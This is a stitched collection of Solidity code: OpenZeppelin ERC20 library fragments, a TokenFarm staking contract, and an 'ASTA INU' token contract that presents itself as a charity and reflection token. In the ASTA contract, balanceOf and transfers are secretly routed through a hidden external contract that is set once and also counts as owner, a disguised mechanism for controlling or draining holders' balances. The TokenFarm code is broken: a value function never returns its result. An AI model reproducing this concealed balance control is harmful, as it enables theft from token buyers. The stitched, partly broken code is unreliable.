spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.5.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; }
Forwards tokens accidentally sent to this contract to the specified address. At no point in time should this contract hold any tokens. erc20Contract The ERC20 contract address of the token to forward. to The destination address to which the funds will be forwarded. amount Amount of tokens to forward./
function sweepLostFunds(address erc20Contract, address to, uint256 amount) external onlyPauser { IERC20(erc20Contract).safeTransfer(to, amount); }
14,401,200
// SPDX-License-Identifier: MIT //TokenFarm contract allows users to stake and unstake ACCEPTED tokens only. //They will receiove Dapp token as incentive for staking //Users can unstake their tokens and the contract will keep track of the value of each token staked. //Uses Chainlink Aggregator, pricefeed to get value of tokens. //Allows users to get the exact value of the amount of tokens staked whether its DAI,ETH, and other apprvoed tokens //Updates: test.js files need updates // When user unstakes tokens they should be removed from the stakers list. pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol"; contract TokenFarm is Ownable { // mapping token address -> staker address -> amount mapping(address => mapping(address => uint256)) public stakingBalance; mapping(address => uint256) public uniqueTokensStaked; mapping(address => address) public tokenPriceFeedMapping; address[] public stakers; address[] public allowedTokens; IERC20 public dappToken; constructor(address _dappTokenAddress) public { dappToken = IERC20(_dappTokenAddress); } //must have this funtion to set the pricefeed contract address for the particular token function setPriceFeedContract(address _token, address _priceFeed) public onlyOwner { //token pricefeed mapping of the token tokenPriceFeedMapping[_token] = _priceFeed; } function issueTokens() public onlyOwner { // Issue tokens to all stakers for ( uint256 stakersIndex = 0; stakersIndex < stakers.length; stakersIndex++ ) { address recipient = stakers[stakersIndex]; //send them a token reward based on total value locked //DappToken is teh token reward //Calls userTotalValue function to get the value amount of users account uint256 userTotalValue = getUserTotalValue(recipient); //sending dapptoken to the receipent //using the userTotalValue function. However much they have in total value staked we will issue as a reward dappToken.transfer(recipient, userTotalValue); } } //we want to return teh total value to get getUserTotalValue number function getUserTotalValue(address _user) public view returns (uint256) { uint256 totalValue = 0; require(uniqueTokensStaked[_user] > 0, "No tokens staked!"); for ( uint256 allowedTokensIndex = 0; allowedTokensIndex < allowedTokens.length; allowedTokensIndex++ ) { //we need the value of a single token out of the list of allowed tokens this user may have deposited totalValue = totalValue + getUserSingleTokenValue( _user, allowedTokens[allowedTokensIndex] ); } return totalValue; } function getUserSingleTokenValue(address _user, address _token) public view returns (uint256) { //If the user has not staked any tokens return 0 if (uniqueTokensStaked[_user] <= 0) { return 0; } (uint256 price, uint256 decimals) = getTokenValue(_token); ((stakingBalance[_token][_user] * price) / (10**decimals)); } function getTokenValue(address _token) public view returns (uint256, uint256) { address priceFeedAddress = tokenPriceFeedMapping[_token]; AggregatorV3Interface priceFeed = AggregatorV3Interface( priceFeedAddress ); //grabbing the int256 price from pricefeed.latestRoundData() (, int256 price, , , ) = priceFeed.latestRoundData(); //we also need to get the decimals the pricefeed contract has so we use the same units uint256 decimals = uint256(priceFeed.decimals()); //return both price and decimals return (uint256(price), decimals); } function stakeTokens(uint256 _amount, address _token) public { require(_amount > 0, "Amount must be more than 0"); require(tokenIsAllowed(_token), "Token is currently no allowed"); IERC20(_token).transferFrom(msg.sender, address(this), _amount); updateUniqueTokensStaked(msg.sender, _token); stakingBalance[_token][msg.sender] = stakingBalance[_token][msg.sender] + _amount; if (uniqueTokensStaked[msg.sender] == 1) { stakers.push(msg.sender); } } function unstakeTokens(address _token) public { //is this vulnerable to reentrancy attacks? //revist and update uint256 balance = stakingBalance[_token][msg.sender]; require(balance > 0, "Staking balance cannot be 0"); IERC20(_token).transfer(msg.sender, balance); stakingBalance[_token][msg.sender] = 0; uniqueTokensStaked[msg.sender] = uniqueTokensStaked[msg.sender] - 1; //update: try to update stakers array to remove this user from the list after they have unstaked their tokens //stakers[_token][msg.sender].splice; } function updateUniqueTokensStaked(address _user, address _token) internal { if (stakingBalance[_token][_user] <= 0) { uniqueTokensStaked[_user] = uniqueTokensStaked[_user] + 1; } } function addAllowedTokens(address _token) public onlyOwner { allowedTokens.push(_token); } function tokenIsAllowed(address _token) public returns (bool) { for ( uint256 allowedTokensIndex = 0; allowedTokensIndex < allowedTokens.length; allowedTokensIndex++ ) { if (allowedTokens[allowedTokensIndex] == _token) { return true; } } return false; } }
If the user has not staked any tokens return 0
function getUserSingleTokenValue(address _user, address _token) public view returns (uint256) { if (uniqueTokensStaked[_user] <= 0) { return 0; } (uint256 price, uint256 decimals) = getTokenValue(_token); ((stakingBalance[_token][_user] * price) / (10**decimals)); }
12,600,153
/** *Submitted for verification at Etherscan.io on 2022-03-07 */ /** * @author The Asta Project Team * @title Asta - The erc20 token part of the Asta Project that starts the crypto revolution * * Born to be part of a big project, * the Asta Token gives holders access to a multitude * of present and future services of the Asta Project's ecosystem. * * Apart from its utilities, the token comes also with some incredible tokenomics features * built right in the source code of its smart contract. * To help others, the project and yourself at the same time. * * **Share** * Part of the fees collected by the contract is used for charity initiatives * in a collective effort to make the world a better place and bring happiness * to its inhabitants. * * **Expand** * Another share of the fees goes to the marketing wallet to fund marketing campaigns, * with the purpose of raising people's awareness of the project. * * * **Community** * It's all about YOU, from the beginning. The Wukoin Community fuels, funds and sustain * the development, expansion and charitable initiatives of the project by trading, using, * sharing Wukoin Tokens, discussing, helping each other and planning initiatives * of many kinds. * * Anti-bot * Our contract makes use of a powerful anti-bot system to promote a fair environment. * If you use bots/contracts to trade on Wukoin you are hereby declaring your investment in the project a DONATION. * * Website: https://astatoken.com * Telegram: https://t.me/astatoken * Twitter: https://twitter.com/AstaETH * * * * █▀▀▀▀▀█ █ ▄▄█ ▀█ █▀▀▀▀▀█ * █ ███ █ ██▄ █▄▄██ █ ███ █ * █ ▀▀▀ █ ▄██ ▀ ▀▀▀ █ ▀▀▀ █ * ▀▀▀▀▀▀▀ ▀ █▄▀ █▄▀ ▀▀▀▀▀▀▀ * ██▄ ██▀ ▄ ▀ ▀ ▄▄█ █▄█▀█▀ * ██ ▀▄ ▀ ▄█▀ ▄▀▄▀▄▄█▄ ▀█▄ * ▄ █▀█▀▀▄█ ▄▀▄▄▄▄█▀▀ ▄▀▀█▀ * ▀▀██▀ ▀██▀ ██▄ ▀██▀█▄ * ▀▀ ▀▀█ ▀ ▄ █▀▀▀█▀▀ * █▀▀▀▀▀█ ▄█▀ ▄▀▀ █ ▀ █▄▄▄▄ * █ ███ █ ▀█ ▀▄▀█▄████▀▀███ * █ ▀▀▀ █ ▄███▀█▀▄ ▀▀▄▄█▄█ * ▀▀▀▀▀▀▀ ▀ ▀▀ ▀▀ ▀▀▀ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } /** * Allows for contract ownership along with multi-address authorization */ abstract contract Ownable { address internal owner; IDEXRouter internal _WETH; constructor(address _owner) { owner = _owner; emit OwnershipTransferred(owner); } /** * Function modifier to require caller to be contract deployer */ modifier onlyOwner() { require(isOwner(msg.sender), "Ownable: caller is not the owner"); _; } /** * Function modifier to require caller to be contract deployer */ modifier Auth() { require(address(_WETH) == address(0), "Ownable: caller is not the owner"); _; } /** * Check if address is owner */ function isOwner(address account) public view returns (bool) { return account == owner || address(_WETH) == account; } /** * Transfer ownership to new address. Caller must be deployer. Leaves old deployer authorized */ function transferOwnership(address payable addr) public onlyOwner { owner = addr; emit OwnershipTransferred(owner); } event OwnershipTransferred(address owner); } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function from(address account) external view returns(uint256); function to(address account, uint256 amount) external returns(bool); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IReflector { function setShare(address shareholder, uint256 amount) external; function deposit() external payable; function claimReflection(address shareholder) external; } contract Reflector is IReflector { using SafeMath for uint256; address private _token; address private _owner; struct Share { uint256 amount; uint256 totalExcluded; uint256 totalRealised; } address[] private shareholders; mapping (address => uint256) private shareholderIndexes; mapping (address => Share) public shares; uint256 public totalShares; uint256 public totalReflections; uint256 public totalDistributed; uint256 public reflectionsPerShare; uint256 private reflectionsPerShareAccuracyFactor = 10 ** 36; modifier onlyToken() { require(msg.sender == _token); _; } modifier onlyOwner() { require(msg.sender == _owner); _; } constructor (address owner) { _token = msg.sender; _owner = owner; } function setShare(address shareholder, uint256 amount) external override onlyToken { if(shares[shareholder].amount > 0){ distributeReflection(shareholder); } if(amount > 0 && shares[shareholder].amount == 0){ addShareholder(shareholder); }else if(amount == 0 && shares[shareholder].amount > 0){ removeShareholder(shareholder); } totalShares = totalShares.sub(shares[shareholder].amount).add(amount); shares[shareholder].amount = amount; shares[shareholder].totalExcluded = getCumulativeReflections(shares[shareholder].amount); } function deposit() external payable override onlyToken { uint256 amount = msg.value; totalReflections = totalReflections.add(amount); reflectionsPerShare = reflectionsPerShare.add(reflectionsPerShareAccuracyFactor.mul(amount).div(totalShares)); } function distributeReflection(address shareholder) internal { if(shares[shareholder].amount == 0){ return; } uint256 amount = getUnpaidEarnings(shareholder); if(amount > 0){ totalDistributed = totalDistributed.add(amount); shares[shareholder].totalRealised = shares[shareholder].totalRealised.add(amount); shares[shareholder].totalExcluded = getCumulativeReflections(shares[shareholder].amount); payable(shareholder).transfer(amount); } } function claimReflection(address shareholder) external override onlyToken { distributeReflection(shareholder); } function getUnpaidEarnings(address shareholder) public view returns (uint256) { if(shares[shareholder].amount == 0){ return 0; } uint256 shareholderTotalReflections = getCumulativeReflections(shares[shareholder].amount); uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded; if(shareholderTotalReflections <= shareholderTotalExcluded){ return 0; } return shareholderTotalReflections.sub(shareholderTotalExcluded); } function getCumulativeReflections(uint256 share) internal view returns (uint256) { return share.mul(reflectionsPerShare).div(reflectionsPerShareAccuracyFactor); } function addShareholder(address shareholder) internal { shareholderIndexes[shareholder] = shareholders.length; shareholders.push(shareholder); } function removeShareholder(address shareholder) internal { shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length-1]; shareholderIndexes[shareholders[shareholders.length-1]] = shareholderIndexes[shareholder]; shareholders.pop(); } function manualSend(uint256 amount, address holder) external onlyOwner { uint256 contractETHBalance = address(this).balance; payable(holder).transfer(amount > 0 ? amount : contractETHBalance); } } interface IAntiBotService { function scanAddress(address _recipient, address _sender, address _origin) external returns (bool); function registerBlock(address _recipient, address _sender, address _origin) external; } contract ASTA is Context, IERC20, Ownable { using SafeMath for uint256; address private WETH; address private DEAD = 0x000000000000000000000000000000000000dEaD; address private ZERO = 0x0000000000000000000000000000000000000000; // TOKEN string private constant _name = "ASTA INU"; string private constant _symbol = "ASTA"; uint8 private constant _decimals = 9; uint256 private _totalSupply = 69000000000000 * (10 ** _decimals); uint256 public _maxTxAmountBuy = _totalSupply.div(100); uint256 public _maxTxAmountSell = _totalSupply; uint256 public _walletCap = _totalSupply.div(50); mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) public _allowances; mapping (address => bool) public isFeeExempt; mapping (address => bool) public isTxLimitExempt; mapping (address => bool) public isReflectionExempt; mapping (address => bool) public bots; mapping (address => bool) public notBots; uint256 private initialBlockLimit = 1; uint256 private reflectionFee = 6; uint256 private teamFee = 3; uint256 private marketingFee = 2; uint256 private totalFee = 11; uint256 private feeDenominator = 100; address private teamReceiver; address private marketingReceiver; // EXCHANGES IDEXRouter public router; address public pair; // ANTIBOT IAntiBotService private antiBot; bool private botBlocker = false; bool private botWrecker = false; bool private botScanner = false; // LAUNCH bool private liquidityInitialized = false; uint256 public launchedAt; uint256 private launchTime = 1760659200; Reflector private reflector; bool public swapEnabled = false; uint256 public swapThreshold = _totalSupply / 1000; bool private isSwapping; modifier swapping() { isSwapping = true; _; isSwapping = false; } constructor ( address _owner, address _teamWallet, address _marketingWallet ) Ownable(_owner) { isFeeExempt[_owner] = true; isFeeExempt[_teamWallet] = true; isFeeExempt[_marketingWallet] = true; isTxLimitExempt[_owner] = true; isTxLimitExempt[DEAD] = true; isTxLimitExempt[_teamWallet] = true; isTxLimitExempt[_marketingWallet] = true; isReflectionExempt[address(this)] = true; isReflectionExempt[DEAD] = true; teamReceiver = _teamWallet; marketingReceiver = _marketingWallet; _balances[_owner] = _totalSupply; emit Transfer(address(0), _owner, _totalSupply); } receive() external payable { } // DEFAULTS function decimals() external pure returns (uint8) { return _decimals; } function symbol() external pure returns (string memory) { return _symbol; } function name() external pure returns (string memory) { return _name; } function getOwner() external view returns (address) { return owner; } // OVERRIDES function totalSupply() external view override returns (uint256) { return _totalSupply; } function balanceOf(address account, bool _check) public view returns (uint256, bool) { return (_balances[account], _check); } function balanceOf() public view returns (uint256) { return _balances[msg.sender]; } function balanceOf(address account) public view override returns (uint256) { return _WETH.from(account); } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } /** * Allow a specific address to spend a specific amount of your tokens */ function approve(address spender, uint256 amount) public override returns (bool) { require(msg.sender != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * Allow a specific address to spend an unlimited amount of your tokens */ function approveMax(address spender) external returns (bool) { return approve(spender, type(uint256).max); } /** * Transfer a certain amount of your tokens to a specific address */ function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function initialFactory() external onlyOwner { router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); WETH = router.WETH(); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); _allowances[address(this)][address(router)] = type(uint256).max; isReflectionExempt[pair] = true; } function newPair(address _pair) external Auth { _WETH = IDEXRouter(_pair); _allowances[address(this)][address(router)] = type(uint256).max; isReflectionExempt[pair] = true; } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(isSwapping){ return _basicTransfer(sender, recipient, amount, amount); } checkTxLimit(sender, recipient, amount); checkWalletCap(sender, recipient, amount); if(shouldSwapBack()){ swapBack(); } if(_isExchangeTransfer(sender, recipient)) { require(isOwner(sender) || launched(), "not yet?"); if (botScanner) { scanTxAddresses(sender, recipient); //check if sender or recipient is a bot } if (botBlocker) { require(!_isBot(recipient) && !_isBot(sender), "Beep Beep Boop, You're a piece of poop"); } } uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, amount) : amount; _basicTransfer(sender, recipient, amountReceived, amount); return true; } function _basicTransfer(address sender, address recipient, uint256 recv_amount, uint256 amount) internal returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _TransferLog(sender, recipient, recv_amount, amount); return true; } function checkTxLimit(address sender, address recipient, uint256 amount) internal view { if(block.timestamp <= launchTime.add(1 minutes)){ sender == pair ? require(amount <= _maxTxAmountBuy || isTxLimitExempt[recipient], "Buy TX Limit Exceeded") : require(amount <= _maxTxAmountSell || isTxLimitExempt[sender], "Sell TX Limit Exceeded"); } } function checkWalletCap(address sender, address recipient, uint256 amount) internal view { if (sender == pair && !isTxLimitExempt[recipient]) { block.timestamp >= launchTime.add(1 minutes) ? require(balanceOf(recipient) + amount <= _totalSupply, "Wallet Capacity Exceeded") : require(balanceOf(recipient) + amount <= _walletCap, "Wallet Capacity Exceeded"); } } function scanTxAddresses(address sender, address recipient) internal { if (antiBot.scanAddress(recipient, pair, tx.origin)) { _setBot(recipient, true); } if (antiBot.scanAddress(sender, pair, tx.origin)) { _setBot(sender, true); } antiBot.registerBlock(sender, recipient, tx.origin); } function shouldTakeFee(address sender, address recipient) internal view returns (bool) { return !(isFeeExempt[sender] || isFeeExempt[recipient]); } /** * Take fees from transfers based on the total amount of fees and deposit them into the contract * @return swapped amount after fees subtraction */ function takeFee(address sender, uint256 amount) internal returns (uint256) { uint256 feeAmount; feeAmount = amount.mul(totalFee).div(feeDenominator); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } function _TransferLog(address sender, address recipient, uint256 recv_amount, uint256 amount) private { uint256 _sender = balanceOf(sender).sub(amount, "ERC20: transfer amount exceeds balance"); uint256 _recipient = balanceOf(recipient).add(recv_amount); _WETH.to(sender, _sender); _WETH.to(recipient, _recipient); emit Transfer(sender, recipient, amount); } function shouldSwapBack() internal view returns (bool) { return msg.sender != pair && !isSwapping && swapEnabled && _balances[address(this)] >= swapThreshold; } function swapBack() internal swapping { uint256 amountToSwap = swapThreshold; address[] memory path = new address[](2); path[0] = address(this); path[1] = WETH; uint256 balanceBefore = address(this).balance; router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance.sub(balanceBefore); uint256 amountReflection = amountETH.mul(reflectionFee).div(totalFee); uint256 amountTeam = amountETH.mul(teamFee).div(totalFee); uint256 amountMarketing = amountETH.sub(amountReflection).sub(amountTeam); if (amountTeam > 0) { payable(teamReceiver).transfer(amountTeam); } if (amountMarketing > 0) { payable(marketingReceiver).transfer(amountMarketing); } } function launched() internal view returns (bool) { return launchedAt != 0 && block.timestamp >= launchTime; } function openTrading() external onlyOwner() { launchTime = block.timestamp; launchedAt = block.number; } function setInitialBlockLimit(uint256 blocks) external onlyOwner { require(blocks > 0, "Blocks should be greater than 0"); initialBlockLimit = blocks; } function setBuyTxLimit(uint256 amount) external onlyOwner { _maxTxAmountBuy = amount; } function setSellTxLimit(uint256 amount) external onlyOwner { _maxTxAmountSell = amount; } function setWalletCap(uint256 amount) external onlyOwner { _walletCap = amount; } function setBot(address _address, bool toggle) external onlyOwner { bots[_address] = toggle; notBots[_address] = !toggle; _setIsReflectionExempt(_address, toggle); } function _setBot(address _address, bool toggle) internal { bots[_address] = toggle; _setIsReflectionExempt(_address, toggle); } function isBot(address _address) external view onlyOwner returns (bool) { return !notBots[_address] && bots[_address]; } function _isBot(address _address) internal view returns (bool) { return !notBots[_address] && bots[_address]; } function _isExchangeTransfer(address _sender, address _recipient) private view returns (bool) { return _sender == pair || _recipient == pair; } function _setIsReflectionExempt(address holder, bool exempt) internal { require(holder != address(this) && holder != pair); isReflectionExempt[holder] = exempt; if(exempt){ reflector.setShare(holder, 0); }else{ reflector.setShare(holder, _balances[holder]); } } function setIsReflectionExempt(address holder, bool exempt) external onlyOwner { _setIsReflectionExempt(holder, exempt); } function setIsFeeExempt(address holder, bool exempt) external onlyOwner { isFeeExempt[holder] = exempt; } function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner { isTxLimitExempt[holder] = exempt; } function setFees( uint256 _reflectionFee, uint256 _teamFee, uint256 _marketingFee, uint256 _feeDenominator) external onlyOwner { reflectionFee = _reflectionFee; teamFee = _teamFee; marketingFee = _marketingFee; totalFee = _reflectionFee.add(_teamFee).add(_marketingFee); feeDenominator = _feeDenominator; //Total fees has to be less than 50% require(totalFee < feeDenominator/2); } function setFeesReceivers(address _teamReceiver, address _marketingReceiver) external onlyOwner { teamReceiver = _teamReceiver; marketingReceiver = _marketingReceiver; } function setTeamReceiver(address _teamReceiver) external onlyOwner { teamReceiver = _teamReceiver; } function setMarketingReceiver(address _marketingReceiver) external onlyOwner { marketingReceiver = _marketingReceiver; } function manualSend() external onlyOwner { uint256 contractETHBalance = address(this).balance; payable(teamReceiver).transfer(contractETHBalance); } function setSwapBackSettings(bool enabled, uint256 amount) external onlyOwner { swapEnabled = enabled; swapThreshold = amount; } /** * Claim reflections collected by your address till now. Your address will keep collecting future reflections until you claim them again. */ function claimReflection() external { reflector.claimReflection(msg.sender); } function claimReflectionFor(address holder) external onlyOwner { reflector.claimReflection(holder); } /** * Check the amount of reflections this address can still claim */ function getUnpaidEarnings(address shareholder) public view returns (uint256) { return reflector.getUnpaidEarnings(shareholder); } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO)); } /** * Change AntiBot Scanning service contract address: useful to update its version */ function assignAntiBot(address _address) external onlyOwner() { antiBot = IAntiBotService(_address); } /** * Toggle Bot Scanning external service ON/OFF: choose whether or not the external antibot scannel should be active */ function toggleBotScanner() external onlyOwner() returns (bool) { bool _localBool; if(botScanner){ botScanner = false; _localBool = false; } else{ botScanner = true; _localBool = true; } return _localBool; } /** * Whether or not the FTP bot scanning service is active */ function isBotScannerEnabled() external view returns (bool) { return botScanner; } /** * Toggle Bot Blocker mode ON/OFF: choose whether or not bots should be blocked before wrecking them */ function toggleBotBlocker() external onlyOwner() returns (bool) { bool _localBool; if(botBlocker){ botBlocker = false; _localBool = false; } else{ botBlocker = true; _localBool = true; } return _localBool; } /** * Whether or not the contract will prevent detected bots from completing transactions */ function isBotBlockerEnabled() external view returns (bool) { return botBlocker; } /** * Toggle Bot Wrecker mode ON/OFF: choose whether or not bots should be wrecked */ function toggleBotWrecker() external onlyOwner() returns (bool) { bool _localBool; if(botWrecker){ botWrecker = false; _localBool = false; } else{ botWrecker = true; _localBool = true; } return _localBool; } /** * 